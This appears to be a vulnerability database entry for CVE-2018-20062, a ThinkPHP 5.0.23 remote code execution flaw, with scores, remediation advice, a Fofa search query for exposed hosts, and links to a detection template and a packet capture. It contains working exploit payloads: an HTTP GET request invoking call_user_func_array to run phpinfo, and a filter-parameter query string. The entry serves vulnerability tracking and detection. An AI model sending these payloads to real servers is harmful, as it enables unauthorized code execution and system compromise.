| Title | ThinkPHP 5.0.23 - Remote Code Execution |
|---|---|
| Author | dr_set |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network. |
| Remediation | Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94307 |
| CVE ID | CVE-2018-20062 |
| Fofa Query | app="ThinkPHP" |
| Tags | cve cve2018 kev thinkphp rce vkev vuln |
An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
GET /?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20062.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-20062.pcap
N/AN/A